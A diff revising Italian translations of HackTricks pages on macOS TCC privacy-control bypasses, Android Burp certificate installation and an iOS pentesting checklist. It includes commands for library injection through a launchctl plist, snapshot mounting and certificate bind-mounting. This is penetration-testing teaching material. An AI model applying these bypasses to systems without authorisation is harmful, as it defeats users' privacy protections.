Se **`SQLITE_SQLLOG_DIR="percorso/cartella"`** significa essenzialmente che **qualsiasi db aperto viene copiato in quel percorso**. In questa CVE questo controllo è stato abusato per **scrivere** all'interno di un **database SQLite** che verrà **aperto da un processo con FDA il database TCC**, e poi abusare di **`SQLITE_SQLLOG_DIR`** con un **symlink nel nome del file** in modo che quando quel database viene **aperto**, il database utente **TCC.db viene sovrascritto** con quello aperto.\
|
||||
**Ulteriori informazioni** [**nel writeup**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **e**[ **nel talk**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
|
||||
|
||||
### **SQLITE\_AUTO\_TRACE**
|
||||
|
@ -195,20 +195,20 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
|||
```
|
||||
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
|
||||
|
||||
Questa **variabile d'ambiente è utilizzata dal framework `Metal`** che è una dipendenza per vari programmi, soprattutto `Music`, che ha FDA.
|
||||
Questa **variabile d'ambiente è utilizzata dal framework `Metal`** che è una dipendenza di vari programmi, soprattutto `Music`, che ha FDA.
|
||||
|
||||
Impostando quanto segue: `MTL_DUMP_PIPELINES_TO_JSON_FILE="percorso/nome"`. Se `percorso` è una directory valida, il bug verrà attivato e possiamo utilizzare `fs_usage` per vedere cosa succede nel programma:
|
||||
|
||||
* verrà `open()` un file chiamato `percorso/.dat.nosyncXXXX.XXXXXX` (X è casuale)
|
||||
* uno o più `write()` scriveranno i contenuti nel file (non controlliamo questo)
|
||||
* `percorso/.dat.nosyncXXXX.XXXXXX` verrà `rename()` a `percorso/nome`
|
||||
* `percorso/.dat.nosyncXXXX.XXXXXX` verrà rinominato in `percorso/nome`
|
||||
|
||||
Si tratta di una scrittura temporanea di file, seguita da un **`rename(old, new)`** **che non è sicuro.**
|
||||
|
||||
Non è sicuro perché deve **risolvere i percorsi vecchi e nuovi separatamente**, il che può richiedere del tempo e essere vulnerabile a una Race Condition. Per ulteriori informazioni è possibile consultare la funzione `xnu` `renameat_internal()`.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Quindi, in sostanza, se un processo privilegiato rinomina da una cartella da te controllata, potresti ottenere un RCE e farlo accedere a un file diverso o, come in questo CVE, aprire il file creato dall'app privilegiata e memorizzare un FD.
|
||||
Quindi, in sostanza, se un processo privilegiato sta rinominando da una cartella da te controllata, potresti ottenere un RCE e farlo accedere a un file diverso o, come in questo CVE, aprire il file creato dall'app privilegiata e memorizzare un FD.
|
||||
|
||||
Se il rename accede a una cartella da te controllata, mentre hai modificato il file di origine o hai un FD ad esso, cambia il file (o la cartella) di destinazione in modo che punti a un symlink, così potrai scrivere quando vuoi.
|
||||
{% endhint %}
|
||||
|
@ -243,7 +243,7 @@ TCC utilizza un database nella cartella HOME dell'utente per controllare l'acces
|
|||
Pertanto, se l'utente riesce a riavviare TCC con una variabile d'ambiente $HOME che punta a una **cartella diversa**, l'utente potrebbe creare un nuovo database TCC in **/Library/Application Support/com.apple.TCC/TCC.db** e ingannare TCC per concedere qualsiasi permesso TCC a qualsiasi app.
|
||||
|
||||
{% hint style="success" %}
|
||||
Si noti che Apple utilizza l'impostazione memorizzata nel profilo dell'utente nell'attributo **`NFSHomeDirectory`** per il **valore di `$HOME`**, quindi se comprometti un'applicazione con autorizzazioni per modificare questo valore (**`kTCCServiceSystemPolicySysAdminFiles`**), puoi **armare** questa opzione con un bypass di TCC.
|
||||
Si noti che Apple utilizza l'impostazione memorizzata nel profilo dell'utente nell'attributo **`NFSHomeDirectory`** per il **valore di `$HOME`**, quindi se comprometti un'applicazione con permessi per modificare questo valore (**`kTCCServiceSystemPolicySysAdminFiles`**), puoi **armare** questa opzione con un bypass di TCC.
|
||||
{% endhint %}
|
||||
|
||||
### [CVE-2020–9934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
@ -254,7 +254,7 @@ Si noti che Apple utilizza l'impostazione memorizzata nel profilo dell'utente ne
|
|||
|
||||
Il **primo POC** utilizza [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) e [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) per modificare la cartella **HOME** dell'utente.
|
||||
|
||||
1. Ottenere un blob _csreq_ per l'applicazione di destinazione.
|
||||
1. Ottenere un blob _csreq_ per l'applicazione target.
|
||||
2. Piazzare un falso file _TCC.db_ con l'accesso richiesto e il blob _csreq_.
|
||||
3. Esportare l'entry dei Servizi di Directory dell'utente con [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
|
||||
4. Modificare l'entry dei Servizi di Directory per cambiare la cartella home dell'utente.
|
||||
|
@ -274,14 +274,14 @@ Ci sono diverse tecniche per iniettare codice all'interno di un processo e abusa
|
|||
[macos-proces-abuse](../../../macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Inoltre, la più comune iniezione di processo per bypassare TCC è tramite **plugin (caricamento di libreria)**.\
|
||||
I plugin sono codice aggiuntivo solitamente sotto forma di librerie o plist, che verranno **caricati dall'applicazione principale** ed eseguiti nel suo contesto. Pertanto, se l'applicazione principale aveva accesso ai file TCC restritti (tramite autorizzazioni concesse o entitlement), il **codice personalizzato avrà lo stesso accesso**.
|
||||
Inoltre, l'iniezione di processo più comune per aggirare TCC è tramite **plugin (caricamento di librerie)**.\
|
||||
I plugin sono codice aggiuntivo solitamente sotto forma di librerie o plist, che verranno **caricati dall'applicazione principale** ed eseguiti nel suo contesto. Pertanto, se l'applicazione principale aveva accesso ai file limitati da TCC (tramite permessi concessi o entitlement), il **codice personalizzato avrà lo stesso accesso**.
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
L'applicazione `/System/Library/CoreServices/Applications/Directory Utility.app` aveva l'entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, caricava plugin con estensione **`.daplug`** e non aveva il runtime **hardenizzato**.
|
||||
|
||||
Per armare questo CVE, il **`NFSHomeDirectory`** viene **cambiato** (abusando dell'entitlement precedente) per poter **prendere il controllo del database TCC degli utenti** per bypassare TCC.
|
||||
Per armare questo CVE, il **`NFSHomeDirectory`** viene **cambiato** (abusando del precedente entitlement) per poter **prendere il controllo del database TCC dell'utente** per aggirare TCC.
|
||||
|
||||
Per ulteriori informazioni, consulta il [**rapporto originale**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
@ -357,11 +357,11 @@ Per ulteriori informazioni su come sfruttare facilmente questo [**controlla il r
|
|||
|
||||
### CVE-2020-10006
|
||||
|
||||
Il binario `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` aveva i permessi **`com.apple.private.tcc.allow`** e **`com.apple.security.get-task-allow`**, che consentivano di iniettare codice all'interno del processo e utilizzare i privilegi TCC.
|
||||
Il binario `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` aveva i privilegi **`com.apple.private.tcc.allow`** e **`com.apple.security.get-task-allow`**, che consentivano di iniettare codice all'interno del processo e utilizzare i privilegi TCC.
|
||||
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
Telegram aveva i permessi **`com.apple.security.cs.allow-dyld-environment-variables`** e **`com.apple.security.cs.disable-library-validation`**, quindi era possibile abusarne per **accedere ai suoi permessi** come ad esempio registrare con la fotocamera. Puoi [**trovare il payload nella descrizione dettagliata**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
Telegram aveva i privilegi **`com.apple.security.cs.allow-dyld-environment-variables`** e **`com.apple.security.cs.disable-library-validation`**, quindi era possibile abusarne per **accedere ai suoi permessi** come ad esempio registrare con la fotocamera. Puoi [**trovare il payload nella descrizione dettagliata**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
Nota come utilizzare la variabile di ambiente per caricare una libreria è stato creato un **plist personalizzato** per iniettare questa libreria e **`launchctl`** è stato utilizzato per avviarla:
|
||||
```xml
|
||||
|
@ -399,7 +399,7 @@ launchctl load com.telegram.launcher.plist
|
|||
|
||||
### Script del Terminale
|
||||
|
||||
È abbastanza comune concedere l'**Accesso completo al disco (FDA)** al terminale, almeno nei computer utilizzati da persone del settore tecnologico. Ed è possibile invocare gli script **`.terminal`** utilizzando questo permesso.
|
||||
È abbastanza comune concedere l'**Accesso Completo al Disco (FDA)** al terminale, almeno nei computer utilizzati da persone del settore tecnologico. Ed è possibile invocare script **`.terminal`** utilizzandolo.
|
||||
|
||||
Gli script **`.terminal`** sono file plist come questo con il comando da eseguire nella chiave **`CommandString`**:
|
||||
```xml
|
||||
|
@ -430,12 +430,12 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
|
|||
exploit_location]; task.standardOutput = pipe;
|
||||
[task launch];
|
||||
```
|
||||
## Attraverso il mount
|
||||
## Tramite il montaggio
|
||||
|
||||
### CVE-2020-9771 - bypass TCC di mount\_apfs e escalation dei privilegi
|
||||
### CVE-2020-9771 - bypass di TCC di mount\_apfs e escalation dei privilegi
|
||||
|
||||
**Qualsiasi utente** (anche non privilegiato) può creare e montare uno snapshot di time machine e **accedere a TUTTI i file** di tale snapshot.\
|
||||
L'**unico privilegio** necessario è che l'applicazione utilizzata (come `Terminal`) abbia l'accesso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`) che deve essere concesso da un amministratore.
|
||||
L'unico privilegio necessario è che l'applicazione utilizzata (come `Terminal`) abbia l'accesso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`) che deve essere concesso da un amministratore.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -459,7 +459,7 @@ ls /tmp/snap/Users/admin_user # This will work
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Una spiegazione più dettagliata può essere **trovata nel rapporto originale**.
|
||||
Una spiegazione più dettagliata può essere **trovata nel report originale**.
|
||||
|
||||
### CVE-2021-1784 & CVE-2021-30808 - Montare sopra il file TCC
|
||||
|
||||
|
@ -492,7 +492,7 @@ Lo strumento **`/usr/sbin/asr`** consentiva di copiare l'intero disco e montarlo
|
|||
|
||||
### Servizi di localizzazione
|
||||
|
||||
Esiste un terzo database TCC in **`/var/db/locationd/clients.plist`** per indicare i clienti autorizzati ad **accedere ai servizi di localizzazione**.\
|
||||
C'è un terzo database TCC in **`/var/db/locationd/clients.plist`** per indicare i clienti autorizzati ad **accedere ai servizi di localizzazione**.\
|
||||
La cartella **`/var/db/locationd/` non era protetta dal montaggio DMG** quindi era possibile montare il nostro plist.
|
||||
|
||||
## Da app di avvio
|
||||
|
@ -503,7 +503,7 @@ La cartella **`/var/db/locationd/` non era protetta dal montaggio DMG** quindi e
|
|||
|
||||
## Con grep
|
||||
|
||||
In diverse occasioni i file memorizzeranno informazioni sensibili come email, numeri di telefono, messaggi... in posizioni non protette (che costituiscono una vulnerabilità in Apple).
|
||||
In diverse occasioni i file memorizzeranno informazioni sensibili come email, numeri di telefono, messaggi... in posizioni non protette (che contano come una vulnerabilità in Apple).
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -511,11 +511,11 @@ In diverse occasioni i file memorizzeranno informazioni sensibili come email, nu
|
|||
|
||||
Questo non funziona più, ma lo **faceva in passato**:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Un altro modo utilizzando **eventi CoreGraphics**:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Riferimento
|
||||
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
@ -20,8 +20,8 @@ Prima di tutto è necessario scaricare il certificato Der da Burp. Puoi farlo in
|
|||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**Esporta il certificato in formato Der** e trasformalo in una forma che **Android** sarà in grado di **comprendere.** Nota che **per configurare il certificato burp sulla macchina Android in AVD** è necessario **eseguire** questa macchina **con** l'opzione **`-writable-system`**.\
|
||||
Ad esempio puoi eseguirlo come:
|
||||
**Esporta il certificato in formato Der** e trasformiamolo in una forma che **Android** sarà in grado di **comprendere.** Nota che **per configurare il certificato burp sulla macchina Android in AVD** è necessario **eseguire** questa macchina **con** l'opzione **`-writable-system`**.\
|
||||
Ad esempio puoi eseguirlo così:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -29,7 +29,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Quindi, per **configurare il certificato di Burp**, eseguire:
|
||||
Quindi, per **configurare il certificato di Burp**, procedi come segue:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -52,31 +52,31 @@ Se hai **eseguito il root del tuo dispositivo con Magisc** (forse un emulatore),
|
|||
|
||||
Spiegato in [**questo video**](https://www.youtube.com/watch?v=qQicUW0svB8) devi:
|
||||
|
||||
1. **Installare un certificato CA**: Basta **trascinare e rilasciare** il certificato Burp DER **cambiando l'estensione** in `.crt` sul cellulare in modo che sia memorizzato nella cartella Download e vai su `Installa un certificato` -> `Certificato CA`
|
||||
1. **Installare un certificato CA**: Basta **trascinare e rilasciare** il certificato DER di Burp **cambiando l'estensione** in `.crt` nel cellulare in modo che sia memorizzato nella cartella Download e vai su `Installa un certificato` -> `Certificato CA`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Verifica che il certificato sia stato memorizzato correttamente andando su `Credenziali attendibili` -> `UTENTE`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Renderlo attendibile dal sistema**: Scarica il modulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un file .zip), **trascinalo e rilascialo** nel telefono, vai all'app **Magics** sul telefono nella sezione **`Moduli`**, clicca su **`Installa da archivio`**, seleziona il modulo `.zip` e una volta installato **riavvia** il telefono:
|
||||
2. **Renderlo attendibile dal sistema**: Scarica il modulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un file .zip), **trascinalo e rilascialo** nel telefono, vai all'app **Magics** nel telefono nella sezione **`Moduli`**, clicca su **`Installa da archivio`**, seleziona il modulo `.zip` e una volta installato **riavvia** il telefono:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* Dopo il riavvio, vai su `Credenziali attendibili` -> `SISTEMA` e controlla che il certificato di Postswigger sia presente
|
||||
* Dopo il riavvio, vai su `Credenziali attendibili` -> `SISTEMA` e verifica che il certificato di Postswigger sia presente
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Dopo Android 14
|
||||
|
||||
Nell'ultima versione di Android 14, si è osservato un cambiamento significativo nella gestione dei certificati di Autorità di Certificazione (CA) attendibili dal sistema. In precedenza, questi certificati erano ospitati in **`/system/etc/security/cacerts/`**, accessibili e modificabili dagli utenti con privilegi di root, il che consentiva un'applicazione immediata su tutto il sistema. Tuttavia, con Android 14, la posizione di archiviazione è stata spostata in **`/apex/com.android.conscrypt/cacerts`**, una directory all'interno del percorso **`/apex`**, che è immutabile per natura.
|
||||
|
||||
I tentativi di rimontare il percorso **APEX cacerts** come scrivibile si scontrano con un fallimento, poiché il sistema non consente tali operazioni. Anche i tentativi di smontare o sovrapporre la directory con un sistema di file temporaneo (tmpfs) non eludono l'immutabilità; le applicazioni continuano ad accedere ai dati del certificato originale indipendentemente dalle modifiche a livello di sistema di file. Questa resilienza è dovuta alla configurazione del mount **`/apex`** con propagazione PRIVATA, garantendo che le modifiche all'interno della directory **`/apex`** non influenzino altri processi.
|
||||
I tentativi di rimontare il percorso **APEX cacerts** in scrittura si scontrano con un fallimento, poiché il sistema non consente tali operazioni. Anche i tentativi di smontare o sovrapporre la directory con un sistema di file temporaneo (tmpfs) non eludono l'immutabilità; le applicazioni continuano ad accedere ai dati del certificato originale indipendentemente dalle modifiche a livello di sistema di file. Questa resilienza è dovuta alla configurazione del mount **`/apex`** con propagazione PRIVATA, garantendo che le modifiche all'interno della directory **`/apex`** non influenzino altri processi.
|
||||
|
||||
L'inizializzazione di Android coinvolge il processo `init`, che, all'avvio del sistema operativo, avvia anche il processo Zygote. Questo processo è responsabile del lancio dei processi delle applicazioni con un nuovo namespace di mount che include un mount **`/apex`** privato, isolando così le modifiche a questa directory da altri processi.
|
||||
L'inizializzazione di Android coinvolge il processo `init`, che, avviando il sistema operativo, avvia anche il processo Zygote. Questo processo è responsabile del lancio dei processi delle applicazioni con un nuovo namespace di mount che include un mount privato **`/apex`**, isolando così le modifiche a questa directory da altri processi.
|
||||
|
||||
Tuttavia, esiste un workaround per coloro che hanno bisogno di modificare i certificati CA attendibili dal sistema all'interno della directory **`/apex`**. Questo comporta il rimontaggio manuale di **`/apex`** per rimuovere la propagazione PRIVATA, rendendolo così scrivibile. Il processo include la copia dei contenuti di **`/apex/com.android.conscrypt`** in un'altra posizione, lo smontaggio della directory **`/apex/com.android.conscrypt`** per eliminare il vincolo in sola lettura, e quindi il ripristino dei contenuti nella loro posizione originale all'interno di **`/apex`**. Questo approccio richiede un'azione rapida per evitare crash di sistema. Per garantire l'applicazione di queste modifiche su tutto il sistema, si consiglia di riavviare il `system_server`, che riavvia efficacemente tutte le applicazioni e porta il sistema a uno stato coerente.
|
||||
Tuttavia, esiste un workaround per coloro che hanno bisogno di modificare i certificati CA attendibili dal sistema all'interno della directory **`/apex`**. Questo comporta il rimontaggio manuale di **`/apex`** per rimuovere la propagazione PRIVATA, rendendolo così scrivibile. Il processo include la copia dei contenuti di **`/apex/com.android.conscrypt`** in un'altra posizione, lo smontaggio della directory **`/apex/com.android.conscrypt`** per eliminare il vincolo in sola lettura, e quindi il ripristino dei contenuti nella loro posizione originale all'interno di **`/apex`**. Questo approccio richiede un'azione rapida per evitare crash di sistema. Per garantire l'applicazione su tutto il sistema di queste modifiche, si consiglia di riavviare il `system_server`, che riavvia efficacemente tutte le applicazioni e porta il sistema a uno stato coerente.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -136,18 +136,18 @@ echo "System certificate injected"
|
|||
```
|
||||
### Bind-mounting tramite NSEnter
|
||||
|
||||
1. **Impostazione di una directory scrivibile**: Inizialmente, viene stabilita una directory scrivibile montando un `tmpfs` sulla directory esistente delle certificazioni di sistema non APEX. Questo viene realizzato con il seguente comando:
|
||||
1. **Configurazione di una directory scrivibile**: Inizialmente, viene stabilita una directory scrivibile montando un `tmpfs` sopra la directory esistente dei certificati di sistema non-APEX. Questo viene realizzato con il seguente comando:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Preparazione dei certificati CA**: Dopo aver configurato la directory scrivibile, i certificati CA che si intendono utilizzare dovrebbero essere copiati in questa directory. Ciò potrebbe comportare la copia dei certificati predefiniti da `/apex/com.android.conscrypt/cacerts/`. È essenziale regolare di conseguenza i permessi e le etichette SELinux di questi certificati.
|
||||
2. **Preparazione dei certificati CA**: Dopo aver configurato la directory scrivibile, i certificati CA che si intende utilizzare dovrebbero essere copiati in questa directory. Ciò potrebbe comportare la copia dei certificati predefiniti da `/apex/com.android.conscrypt/cacerts/`. È essenziale regolare di conseguenza i permessi e le etichette SELinux di questi certificati.
|
||||
3. **Bind Mounting per Zygote**: Utilizzando `nsenter`, si entra nel namespace di mount di Zygote. Zygote, essendo il processo responsabile del lancio delle applicazioni Android, richiede questo passaggio per garantire che tutte le applicazioni avviate in seguito utilizzino i certificati CA appena configurati. Il comando utilizzato è:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
Questo assicura che ogni nuova app avviata rispetterà la configurazione aggiornata dei certificati CA.
|
||||
|
||||
4. **Applicare le Modifiche alle App in Esecuzione**: Per applicare le modifiche alle applicazioni già in esecuzione, `nsenter` viene nuovamente utilizzato per entrare singolarmente nel namespace di ciascuna app e eseguire un bind mount simile. Il comando necessario è:
|
||||
4. **Applicare le Modifiche alle App in Esecuzione**: Per applicare le modifiche alle applicazioni già in esecuzione, `nsenter` viene nuovamente utilizzato per entrare singolarmente nello spazio dei nomi di ciascuna app e eseguire un bind mount simile. Il comando necessario è:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# Checklist per il Pentesting di iOS
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della community più avanzati al mondo.\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -14,9 +14,9 @@ Ottieni l'accesso oggi:
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
|
@ -24,7 +24,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -40,15 +40,15 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* [ ] I [**file Plist**](ios-pentesting/#plist) possono essere utilizzati per archiviare informazioni sensibili.
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data) (database SQLite) può archiviare informazioni sensibili.
|
||||
* [ ] I [**YapDatabases**](ios-pentesting/#yapdatabase) (database SQLite) possono archiviare informazioni sensibili.
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (database SQLite) possono archiviare informazioni sensibili.
|
||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) configurazione errata.
|
||||
* [ ] I [**database Realm**](ios-pentesting/#realm-databases) possono archiviare informazioni sensibili.
|
||||
* [ ] I [**database Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) possono archiviare informazioni sensibili.
|
||||
* [ ] I [**cookie binari**](ios-pentesting/#cookies) possono archiviare informazioni sensibili.
|
||||
* [ ] I [**dati della cache**](ios-pentesting/#cache) possono archiviare informazioni sensibili.
|
||||
* [ ] Gli [**istantanei automatici**](ios-pentesting/#snapshots) possono salvare informazioni visivamente sensibili.
|
||||
* [ ] I [**cookie binari**](ios-pentesting/#cookies) possono archiviare informazioni sensibili
|
||||
* [ ] I [**dati della cache**](ios-pentesting/#cache) possono archiviare informazioni sensibili
|
||||
* [ ] Gli [**istantanei automatici**](ios-pentesting/#snapshots) possono salvare informazioni sensibili visive
|
||||
* [ ] Il [**portachiavi**](ios-pentesting/#keychain) è solitamente utilizzato per archiviare informazioni sensibili che possono essere lasciate durante la rivendita del telefono.
|
||||
* [ ] In sintesi, controlla solo se l'applicazione salva informazioni sensibili nel filesystem.
|
||||
* [ ] In sintesi, controlla solo **le informazioni sensibili salvate dall'applicazione nel filesystem**
|
||||
|
||||
### Tastiere
|
||||
|
||||
|
@ -66,7 +66,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
### **Memoria delle Applicazioni**
|
||||
|
||||
* [ ] Controlla se ci sono informazioni sensibili all'interno della [**memoria dell'applicazione**](ios-pentesting/#testing-memory-for-sensitive-data)
|
||||
* [ ] Controlla le informazioni sensibili all'interno della [**memoria dell'applicazione**](ios-pentesting/#testing-memory-for-sensitive-data)
|
||||
|
||||
### **Crittografia Danneggiata**
|
||||
|
||||
|
@ -85,31 +85,31 @@ Altri modi per supportare HackTricks:
|
|||
* [**Gestori URI personalizzati / Deeplinks / Schemi personalizzati**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] Controlla se l'applicazione **registra qualche protocollo/schema**
|
||||
* [ ] Controlla se l'applicazione **si registra per utilizzare** qualche protocollo/schema
|
||||
* [ ] Controlla se l'applicazione **si aspetta di ricevere qualche tipo di informazione sensibile** dal protocollo personalizzato che può essere **intercettato** da un'altra applicazione che si registra allo stesso schema
|
||||
